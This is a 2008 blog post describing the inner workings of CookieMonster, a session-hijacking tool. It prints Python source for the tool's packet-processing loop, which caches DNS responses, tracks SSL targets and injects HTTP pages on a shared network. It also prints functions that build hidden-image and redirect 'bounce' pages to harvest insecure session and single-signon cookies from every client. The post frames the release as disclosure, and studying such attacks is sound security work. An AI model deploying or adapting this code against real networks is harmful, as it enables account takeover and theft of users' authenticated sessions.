|Submitted by mikeperry on Tue, 09/09/2008 - 00:12|
This post describes the core logic of CookieMonster in more precise terms than the previous overview post. The hope is to drive home exactly how the tool functions, and to underscore that source code counts as speech in this capacity (and in general). In addition, the README that illustrates how the tool is used, and a README describing a "Quick Start" Live CD method for Mac and Windows users who do not have Linux installs are now available. Finally, an example configuration file for the tool is now posted as well. These should hopefully give a clearer picture of how the tool works and how it can be used.
The most crucial aspect of this sort of attack that most people seem to miss is its ability to cull arbitrary cookies for a list of insecure domains from every client IP on a network even when the user is not using those sites at the time. The second most crucial aspect is how the tool is still able to compromise arbitrary insecure SSL sites in the common case without the need to provide such a target list.
To better illustrate these processes, the core logic loop of the tool follows below. Some basic corner cases (such as tracking HTTP data across multiple packets, exception handling, and log messages) have been removed for brevity and clarity, but the functionality is the same.
As you can see, the core loop has 3 main sections covering the 5 stages from the previous post. First, we obtain DNS responses and cache them. Then, when we see SSL connections, we look up the destination IP in this DNS table, and add it to the list of targets for the IP. Then, when any arbitrary web request comes in to port 80, we hijack it, and inject images for all of these cached targets, in addition to a list of targets provided in the configuration file. On subsequent requests for these images (which contain our desired cookies), we record these transmitted cookies to our Firefox 2.0 or 3.0 compatible cookies files.
The source code below provides further, more precise commentary on this process:
# Stage 1: Capture DNS responses if pkt.data.data.sport == 53: # DNS port dns_table.store(dpkt.dns.DNS(pkt.data.data.data)) # Stage 2 and 3: Add ssl connections to target list elif pkt.data.data.dport == 443: # SSL Connection port # Only care about very first tcp packet (syn) if pkt.data.data.flags & dpkt.tcp.TH_SYN \ and not pkt.data.data.flags & dpkt.tcp.TH_ACK: client_ip = socket.inet_ntoa(pkt.data.src) host = dns_table.lookup(pkt.data.dst) if host: tgt_table.add_target(client_ip, host) # Stage 4 and 5: Perform injection and record cookies elif pkt.data.data.dport == 80: # Web connection port client_ip = socket.inet_ntoa(pkt.data.src) # Simplification: In the actual tool, we track HTTP # requests across multiple fragments req = dpkt.http.Request(pkt.data.data.data) if "host" in req.headers: host = req.headers["host"] else: continue # Log referrers to capture "secure" GET-based session IDs # that leak as the user navigates from SSL to non-SSL if get_referer and "referer" in req.headers: referer = req.headers["referer"] for r in LOG_REFERERS_WITH: if r in referer: log_referer(client_ip, referer) # If we haven't seen this client before, initialize with # default target set if not tgt_table.is_target(client_ip): tgt_table.add_target(client_ip) if "user-agent" in req.headers: user_agent = req.headers["user-agent"] else: user_agent = "" # Check to see if we have any targets available for this # client_ip and if this GET is for a content element # that will support html injection. if tgt_table.is_pwnable(client_ip) \ and not tgt_table.is_target_host(client_ip, host) \ and not tgt_table.is_pwnt(client_ip, host): # Check accept types for html (Avoid xml, rss, img, etc) if "accept" in req.headers and \ "text/html" in req.headers["accept"] or \ "MSIE" in user_agent: # Only inject if this is a fresh page load if aggressive_inject or "referer" not in req.headers: do_inject(tx, raw_pkt, client_ip, tgt_table, is_wep, wep_key, "referer" not in req.headers) continue # We should mark them at this point because for secure # SSL sites we will get no cookies tgt_table.mark_pwnt(client_ip, host) cookies = 0 if "cookie" in req.headers: cookies = req.headers["cookie"] if cookies and host: cookie_list = cookies.split(";") # Record the user agent if get_uagent and user_agent: if client_ip not in recorded_agents \ or recorded_agents[client_ip] != user_agent: recorded_agents[client_ip] = user_agent f = file("./cookies/uagent.log", "a+") f.write(client_ip+": "+user_agent+"\n") f.close() cookie_jars.write_cookies(client_ip, host, cookie_list)
The following function describes how the HTML is built from template variables for injection:
INJECT_PAGE_HEAD = '<html><head><meta http-equiv="refresh" content="1;"></head><body bgcolor=white fgcolor=white>' INJECT_PAGE_TAIL = '</body></html>' INJECT_TAG_HEAD = '<img width="1" height="1" src="http://' INJECT_TAG_TAIL = '/">' def build_inject_data(ip, targets): # Do Image injection ret = INJECT_PAGE_HEAD for h in targets.enum_targets(ip): if targets.count_attempts(ip, h) > MAX_ATTEMPTS: targets.mark_pwnt(ip, h) if h not in COMMON_PATHS: ret += INJECT_TAG_HEAD+h+INJECT_TAG_TAIL else: for p in COMMON_PATHS[h]: ret += INJECT_TAG_HEAD+h+p+INJECT_TAG_TAIL ret += INJECT_PAGE_TAIL+"\r\n" ret = INJECT_HTTP_HEADER+str(len(ret))+"\r\n\r\n"+ret return ret
A similar piece of code describes generating html for a full redirect "bounce" attack, which is used for gathering cookies from "secure" sites that will generate insecure versions of cookies when you visit their http urls. The same technique can also be used for single-signon systems that will automatically generate insecure authentication cookies for any sub-service that a user "visits" after they are logged in to the main signon engine. This common flaw allows an attacker to gain acces to arbitrary sub-services of the single-signon domain.
BOUNCE_PAGE_HEAD = '<html><head><meta http-equiv="refresh" content="0; URL=http://' BOUNCE_PAGE_TAIL = '/"></head><body bgcolor="white" fgcolor="white"></body></html>' def build_bounce_data(ip): for h in targets.enum_targets(ip): if h in FULL_BOUNCE_FOR: ret = BOUNCE_PAGE_HEAD if targets.count_attempts(ip, h) > MAX_ATTEMPTS: targets.mark_pwnt(ip, h) if h not in COMMON_PATHS: ret += "http://"+h else: ret += h+COMMON_PATHS[h] ret += BOUNCE_PAGE_TAIL+"\r\n" ret = INJECT_HTTP_HEADER+str(len(ret))+"\r\n\r\n"+ret return ret return 0
At a future date, this post will be updated with a link to the human-readable source code for the tool for further clarification.